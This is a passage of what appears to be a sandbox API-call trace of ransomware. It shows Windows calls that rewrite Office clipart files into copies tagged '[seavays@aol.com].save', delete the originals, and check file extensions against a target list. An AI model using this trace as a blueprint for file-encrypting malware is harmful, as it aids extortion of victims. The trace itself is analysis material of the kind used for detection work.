lpNewFilePointer=0x0) returned 1 [0176.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.015] GetLastError () returned 0x0 [0176.015] ReadFile (in: hFile=0x534, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2fac, lpOverlapped=0x0) returned 1 [0176.017] WriteFile (in: hFile=0x544, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2fb0, lpOverlapped=0x0) returned 1 [0176.018] ReadFile (in: hFile=0x534, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0176.019] WriteFile (in: hFile=0x544, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0176.019] SetEndOfFile (hFile=0x544) returned 1 [0176.019] CloseHandle (hObject=0x544) returned 1 [0176.019] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.019] SetEndOfFile (hFile=0x534) returned 1 [0176.024] CloseHandle (hObject=0x534) returned 1 [0176.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0176.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.025] lstrlenW (lpString=".doc") returned 4 [0176.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.026] lstrlenW (lpString=".docx") returned 5 [0176.026] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.026] lstrlenW (lpString=".pdf") returned 4 [0176.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.026] lstrlenW (lpString=".xls") returned 4 [0176.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.026] lstrlenW (lpString=".xlsx") returned 5 [0176.026] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.026] lstrlenW (lpString=".ppt") returned 4 [0176.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.026] lstrlenW (lpString=".zip") returned 4 [0176.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.026] lstrlenW (lpString=".rar") returned 4 [0176.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.026] lstrlenW (lpString=".bz2") returned 4 [0176.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.026] lstrlenW (lpString=".7z") returned 3 [0176.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.026] lstrlenW (lpString=".dbf") returned 4 [0176.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.027] lstrlenW (lpString=".1cd") returned 4 [0176.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.027] lstrlenW (lpString=".jpg") returned 4 [0176.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.027] lstrlenW (lpString=".doc") returned 4 [0176.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.027] lstrlenW (lpString=".docx") returned 5 [0176.027] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.027] lstrlenW (lpString=".pdf") returned 4 [0176.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.027] lstrlenW (lpString=".xls") returned 4 [0176.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.027] lstrlenW (lpString=".xlsx") returned 5 [0176.027] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.027] lstrlenW (lpString=".ppt") returned 4 [0176.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.028] lstrlenW (lpString=".zip") returned 4 [0176.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.028] lstrlenW (lpString=".rar") returned 4 [0176.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.028] lstrlenW (lpString=".bz2") returned 4 [0176.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.028] lstrlenW (lpString=".7z") returned 3 [0176.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.028] lstrlenW (lpString=".dbf") returned 4 [0176.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.028] lstrlenW (lpString=".1cd") returned 4 [0176.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0176.028] lstrlenW (lpString=".jpg") returned 4 [0176.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.028] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.029] lstrlenW (lpString="J0107516.WMF") returned 12 [0176.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.204] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=14008) returned 1 [0176.204] CloseHandle (hObject=0x524) returned 1 [0176.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220 [0176.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.205] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.205] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0176.206] GetLastError () returned 0x0 [0176.206] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x36b8, lpOverlapped=0x0) returned 1 [0176.209] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x36c0, lpOverlapped=0x0) returned 1 [0176.211] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0176.211] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0176.211] SetEndOfFile (hFile=0x548) returned 1 [0176.211] CloseHandle (hObject=0x548) returned 1 [0176.211] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.211] SetEndOfFile (hFile=0x524) returned 1 [0176.225] CloseHandle (hObject=0x524) returned 1 [0176.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0176.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.226] lstrlenW (lpString=".doc") returned 4 [0176.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.226] lstrlenW (lpString=".docx") returned 5 [0176.226] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.226] lstrlenW (lpString=".pdf") returned 4 [0176.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.226] lstrlenW (lpString=".xls") returned 4 [0176.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.226] lstrlenW (lpString=".xlsx") returned 5 [0176.226] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.227] lstrlenW (lpString=".ppt") returned 4 [0176.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.227] lstrlenW (lpString=".zip") returned 4 [0176.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.227] lstrlenW (lpString=".rar") returned 4 [0176.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString=".bz2") returned 4 [0176.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString=".7z") returned 3 [0176.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.227] lstrlenW (lpString=".dbf") returned 4 [0176.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.227] lstrlenW (lpString=".1cd") returned 4 [0176.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.227] lstrlenW (lpString=".jpg") returned 4 [0176.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.227] lstrlenW (lpString=".doc") returned 4 [0176.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString=".docx") returned 5 [0176.227] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.227] lstrlenW (lpString=".pdf") returned 4 [0176.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.227] lstrlenW (lpString=".xls") returned 4 [0176.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.227] lstrlenW (lpString=".xlsx") returned 5 [0176.227] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.227] lstrlenW (lpString=".ppt") returned 4 [0176.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.228] lstrlenW (lpString=".zip") returned 4 [0176.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.228] lstrlenW (lpString=".rar") returned 4 [0176.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.228] lstrlenW (lpString=".bz2") returned 4 [0176.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.228] lstrlenW (lpString=".7z") returned 3 [0176.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.228] lstrlenW (lpString=".dbf") returned 4 [0176.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.228] lstrlenW (lpString=".1cd") returned 4 [0176.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0176.228] lstrlenW (lpString=".jpg") returned 4 [0176.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.228] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.228] lstrlenW (lpString="J0107708.WMF") returned 12 [0176.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.230] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4808) returned 1 [0176.230] CloseHandle (hObject=0x524) returned 1 [0176.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220 [0176.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.231] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.231] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0176.232] GetLastError () returned 0x0 [0176.232] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x12c8, lpOverlapped=0x0) returned 1 [0176.234] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x12d0, lpOverlapped=0x0) returned 1 [0176.235] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0176.235] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0176.235] SetEndOfFile (hFile=0x548) returned 1 [0176.235] CloseHandle (hObject=0x548) returned 1 [0176.235] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.235] SetEndOfFile (hFile=0x524) returned 1 [0176.237] CloseHandle (hObject=0x524) returned 1 [0176.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.239] lstrlenW (lpString=".doc") returned 4 [0176.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.239] lstrlenW (lpString=".docx") returned 5 [0176.239] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.239] lstrlenW (lpString=".pdf") returned 4 [0176.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.239] lstrlenW (lpString=".xls") returned 4 [0176.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.239] lstrlenW (lpString=".xlsx") returned 5 [0176.239] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.239] lstrlenW (lpString=".ppt") returned 4 [0176.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.240] lstrlenW (lpString=".zip") returned 4 [0176.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.240] lstrlenW (lpString=".rar") returned 4 [0176.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString=".bz2") returned 4 [0176.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString=".7z") returned 3 [0176.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.240] lstrlenW (lpString=".dbf") returned 4 [0176.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.240] lstrlenW (lpString=".1cd") returned 4 [0176.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.240] lstrlenW (lpString=".jpg") returned 4 [0176.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.240] lstrlenW (lpString=".doc") returned 4 [0176.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString=".docx") returned 5 [0176.240] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.240] lstrlenW (lpString=".pdf") returned 4 [0176.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString=".xls") returned 4 [0176.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.240] lstrlenW (lpString=".xlsx") returned 5 [0176.240] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.240] lstrlenW (lpString=".ppt") returned 4 [0176.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.241] lstrlenW (lpString=".zip") returned 4 [0176.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.241] lstrlenW (lpString=".rar") returned 4 [0176.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.241] lstrlenW (lpString=".bz2") returned 4 [0176.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.241] lstrlenW (lpString=".7z") returned 3 [0176.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.241] lstrlenW (lpString=".dbf") returned 4 [0176.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.241] lstrlenW (lpString=".1cd") returned 4 [0176.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0176.241] lstrlenW (lpString=".jpg") returned 4 [0176.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.241] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.241] lstrlenW (lpString="J0107712.WMF") returned 12 [0176.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.242] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4636) returned 1 [0176.242] CloseHandle (hObject=0x524) returned 1 [0176.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220 [0176.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0176.243] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.243] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0176.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0176.244] GetLastError () returned 0x0 [0176.244] ReadFile (in: hFile=0x524, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x121c, lpOverlapped=0x0) returned 1 